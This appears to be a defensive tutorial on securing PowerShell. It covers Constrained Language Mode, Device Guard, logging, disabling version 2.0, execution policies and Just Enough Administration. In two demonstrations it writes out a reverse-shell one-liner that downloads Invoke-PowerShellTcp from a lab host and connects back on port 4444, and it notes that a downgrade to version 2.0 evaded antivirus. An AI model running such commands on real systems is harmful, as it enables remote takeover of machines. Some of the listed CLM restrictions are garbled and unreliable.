Powershell is a command-line tool and also a programming language offered by Microsoft for managing system configurations. Powershell comes integrated with all operating system versions since the Windows 7 operating system. It is an important part of system management because it provides full control of Windows operating systems and is easy to use.
Powershell is widely used by attackers to perform Post-Exploitation operations. The most important reason for this is that Powershell is a part of the Windows operating system. Therefore, Powershell allows attackers to act as normal user on the target system. An attacker using Powershell can run malicious commands on the operating system and circumvent security measures by performing these operations with a user ID. In addition, Powershell allows attackers to use “fileless malware” software, since the processes performed through Powershell only run in memory.
Safe Powershell
Powershell is used extensively by attackers. The most important features of Powershell for attackers are listed below. Having these features makes Powershell an attack vector for attackers. Its use by attackers can make Powershell a threat to organizations. However, given the situation that Powershell cannot be disabled, Powershell can be made more secure to prevent attackers.
- The ability to run malicious files in memory
- Providing easy access to network sockets
- Providing direct access to the Win32 API
- WMI access
- Providing a powerful script environment
- Providing easy access to cryptography libraries
- Ability to use COM objects
Powershell Security Precautions
Important security measures that can be taken to restrict the use of Powershell are listed below.
Powershell CLM (Constrained Language Mode)
Powershell CLM restricts access to sensitive components used for calling Windows APIs. If the Powershell CLM feature is enabled, cmdlets are allowed to be used, but commands that interact with APIs are blocked. The limitations of the Powershell CLM mode are listed below.
- Searching for “script” and “manifest” files of a Powershell module using wildcard characters (*,? Etc.) is blocked. In order for a searched file to be found, its full name must be specified. Thus, unwanted files to be viewed by everyone are prevented from being exposed.
- COM objects are blocked so that attackers cannot call Win32 APIs.
- Use of .NET libraries that are whitelisted is permitted. This is because some .NET libraries have the ability to call Win32 APIs.
The “Add-Type cmdlet” that allows .NET Core classes to be defined is blocked. - The use of Powershell classes is blocked.
- Conversion of Powershell variable types is inhibited.
- The dot-sourcing process that allows codes to be referenced between language modes is prevented.
- Command resolution prevents the display of commands that cannot be executed on a language mode. For example, a function created in CLM mode cannot be viewed in Full Language mode.
- “XAML” based workflows are blocked because they cannot be restricted by Powershell. However, running reliable XAML-based workflows is allowed.
- The “SupportedCommand” parameter is disabled for the “Import-LocalizedData cmdlet”.
- The Invoke-Expression cmdlet is only allowed to run in CLM mode.
- The Set-PSBreakpoint cmdlet is blocked via UMCI.
- The command completion feature is only allowed in CLM mode.
- DSC Configuration keywords are disabled.
- Commands and scripts supported in the DATA section are not allowed.
- In case the system crashes, the use of the Start-Job cmdlet is blocked.
- In the event of a system-wide crash, commands and scripts run with the script debugger always run in restricted mode.
Full Language Mode
A PowerShell application with a “Full Language” mode is included. A script that allows obtaining a session from the target system is running on this application.
As a result of this process, a PowerShell session is obtained from the target system.
The same process has been performed again by changing the language mode. As a result of this process, an error was received due to the restriction.
$ExecutionContext.SessionState.LanguageMode $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage" IEX (New-Object Net.WebClient).DownloadString('http://192.168.254.31/Invoke-PowerShellTcp.psl >> ');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.31 -Port 4444
What is Powershell CLM Mode?
Powershell CLM is a good solution to prevent the easy movement of attackers who have access to the target system. However, using Powershell CLM alone has its disadvantages. One of these drawbacks is that the CLM mode is session-specific only. Therefore, an attacker who ends a PowerShell session and logs in to a new session can bypass CLM restrictions and continue operations in “Full Language” mode. Another disadvantage is that CLM mode can corrupt scripts that a normal user might want to use.
There is a command named “__PSLockdownPolicy” that enables CLM mode to be activated by default when running ISE and PowerShell command-line applications. However, the use of “__PSLockdownPolicy” is not a sure solution, as attackers can change this command.
The best solution for CLM is to use this feature in conjunction with “Device Guard UMCI (User Mode Code Integrity)“. Device Guard provides protection against software running in Kernel and User modes. Device Guard offers a ‘White List’ solution to identify applications that can be run on the system. This allows for an environment that allows only trusted applications to run. Device Guard enables signing specific drivers for Kernel mode security or allows specific drivers to be added to the list. Thus, drivers that are not on the list can be prevented from running. In addition, Device Guard provides user-mode protection (UMCI), which allows determining which applications can be run. Attackers cannot disable UMCI policies. Therefore, the best way to use CLM is to create a Device Guard UMCI policy for CLM.
Note: Only version 5.1 of the Powershell application accepts Device Guard policies. Powershell Core 6 and open source Powershell versions do not accept Device Guard policies.
Logging of Powershell Activities
In order to detect malicious transactions, transactions performed with Powershell must be logged. This feature can be activated by “Turn on PowerShell Transcription“, “Turn on Module Logging” and “Turn on PowerShell Script Block Logging” policies under “Computer Configuration> Administrative Templates> Windows Components> Windows PowerShell“.
Module Logging
This feature, introduced in Powershell version 3.0, logs the details of the commands executed sequentially. Logging can be performed by activating the “Turn on Module Logging” policy. The module names to be logged can be specified through the window opened with the “Show” button, which is among the options of this policy. With the “*” sign, all modules can be logged. Module logs are saved in event logs under “Application and Sevices Logs> Microsoft> Windows> Powershell> Operational” with an ID value of “4103“.
Script Logging
Script Logging, after running a script file, records all the code block in this file and logs all the activities of the script. Logging can be performed by activating the “Turn on PowerShell Script Block Logging” policy. Module logs are saved with an ID value of “4104” among event logs under “Application and Sevices Logs> Microsoft> Windows> Powershell> Operational“.
By activating the “Log script block execution start/stop events” option, it is possible to log the start and stop operations of the scripts. These states are recorded with 4105 and 4106 ID values.
Transcription Logging
This feature allows logging of all started and terminated Powershell sessions. If this feature is enabled, logs are saved in a specified text file. Each transaction is recorded with metadata to aid analysis. Logging can be performed by activating the “Turn on PowerShell Transcription” policy. Log files are saved under the directory specified with the “Transcript output directory” option. If the directory is not specified, the logs are saved under the user’s “Documents” directory.
Security Risks of Powershell Version 2.0
Powershell is designed to be compatible with previous versions. For this reason, Powershell 2.0 version comes active on new versions. Thus, cmdlets, modules and scripts can be run on Powershell 2.0. There is no significant majority of security updates to Powershell 2.0, Powershell 3.0 and later versions. Powershell 2.0 can be used by attackers to circumvent security measures. Microsoft Powershell cannot remove version 2.0 from current Windows versions. This is because many Microsoft applications such as System Center applications, some SQL Server versions, some Exchange versions use Powershell 2.0.
PS C:\Users\ÖMER> $PSVersionTable PS C:\Users\ÖMER> powershell.exe -Version 2 PS C:\Users\ÖMER> $PSVersionTable
Example: Obtaining Powershell Session
In order to evaluate the security risks of Powershell version 2.0, we run a command that allows obtaining a PowerShell session from the target system.
PS C:\WINDOWS\system32> IEX (New-Object Net.WebClient).DownloadString('http://192.168.254.31/Invoke-PowerShellTcp.psl');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.31 -Port 4444
This script was first to run on Powershell 5.1. However, it was blocked by Windows Defender because it contains malicious code. The command executed on Powershell 2.0 caused the antivirus application to be skipped. Thus, a command-line session is obtained from the target system.
Disabling Powershell 2.0
Powershell 2.0 can be disabled by running the command “Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2” via Powershell.
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 Get-WindowsOptionalFeature -Online -FeatureName MicrosoftwindowsPowerShellv2
What is Execution Policy?
Execution Policy is the rules that determine the conditions under which Powershell should be run in order to prevent users from harming the system with the scripts they will run. The current policy can be viewed with the Get-ExecutionPolicy cmdlet. Execution Policy can be set with the Set-ExecutionPolicy cmdlet. We will explain the Execution Policy options below.
Get-ExecutionPolicy
Restricted: This policy allows only one-line commands to be run on the PowerShell application. Therefore, no script can be run by users. The restricted policy is considered to be the safest policy compared to other policies.
AllSigned: This policy allows running only scripts signed by trusted authorities.
RemoteSigned: This policy allows user-created scripts to be run. Scripts downloaded over the Internet must be signed by trusted authorities in order to run.
Unrestricted: This policy does not check the signature and does not impose any restrictions for the execution of scripts. However, it gives a warning in case of running scripts downloaded over the internet.
Bypass: The bypass policy is the most insecure policy that allows a script or command to run completely unrestricted.
The default operating policy on all systems except Windows Server 2012 R2 and Windows Server 2016 operating systems is the “Restricted” policy. In Windows Server 2012 R2 and Windows Server 2016 operating systems, the “RemoteSigned” policy is applied by default.
Setting Execution Policy in PowerShell
It is recommended to set the “AllSigned” policy to secure this feature. You can run the command below to set this policy.
PS C:\WINDOWS\system32> Get-ExecutionPolicy PS C:\WINDOWS\system32> Set-ExecutionPolicy -ExecutionPolicy AllSigned PS C:\WINDOWS\system32> Get-ExecutionPolicy
JEA(Just Enough Administration)
JEA is a PowerShell security technology that provides role-based access control for all features of Powershell. JEA allows users to connect to the remote server with high privileges, but to perform restricted operations on that session. For example, with JEA a user can only execute specified commands, cmdlets, etc. can be made to run. In addition, if JEA configurations are activated, all activities of the users are logged.
A user restricted by JEA accesses the remote server with a virtual account created for that user. JEA is available on Powershell 5.0 and above, Windows 10, Windows Server 2016, and older version Windows operating systems that have been updated.
Configuration files must be created to define restrictions with JEA. User roles are defined with these configuration files. The commands that a user can run on the server, parameters that he/she can use and modules that he/she can import can be defined in the file. The “New-PSRoleCapabilityFile” cmdlet should be used to create the file. The file created with this cmdlet contains the configurations of the role that will be assigned to a user.
There is a configuration file created for the Powershell Remoting service. In this file, you can make the necessary definitions for a user to obtain a remote PowerShell session with limited privileges. The “RestrictedRemoteServer” value has been assigned to the SessionType parameter in order for the remote user to obtain a restricted Powershell session. The “RunAsVirtualAccount” parameter is assigned the value “$true” for the user to obtain an administrator login through a virtual account. A role named proc_admin is assigned to the “RoleDefinitions” parameter for the “unprivileged” user account. This role will be defined by JEA.
JEA configuration file has been created. Necessary definitions for the role named “proc_admin” will be made with this file.
Note: The file name must be the same as the role name defined in the Powershell Remoting configuration file. In order to use the JEA definitions of the role, the directory in which the JEA configuration file is located is searched for the configuration file with the same name as the role name, regardless of the .psrc extension.
Necessary definitions have been made for all users that will have the “proc_admin” role. A user with this role; can run the “Get-Process”, “Start-Process” and “Stop-Process” cmdlets defined by the “VisibleCmdlets” parameter and the “whoami” and “hostname” commands defined by the “VisibleExternalCommands” parameter.
After making the necessary definitions in the Powershell Remoting and JEA configuration files, the “Register-PSSessionConfiguration” command should be used to use the Powershell Remoting configuration file.
WinRM session acquisition failed on the first attempt with the user account “unprivileged“. This is because the user does not have the necessary privileges to gain a WinRM session. However, as a result of the session attempt made with the created role, a limited Powershell session was obtained through the virtual account named winomertestpc_unprivileged. The “Restricted Powershell Session” picture contains the obtained restricted session and cmdlets that can be run according to the definitions made in the JEA configuration file.
As seen in the “Residence Permits” picture, the session received from the target system was obtained with high powers. However, JEA does not allow the use of all of these powers.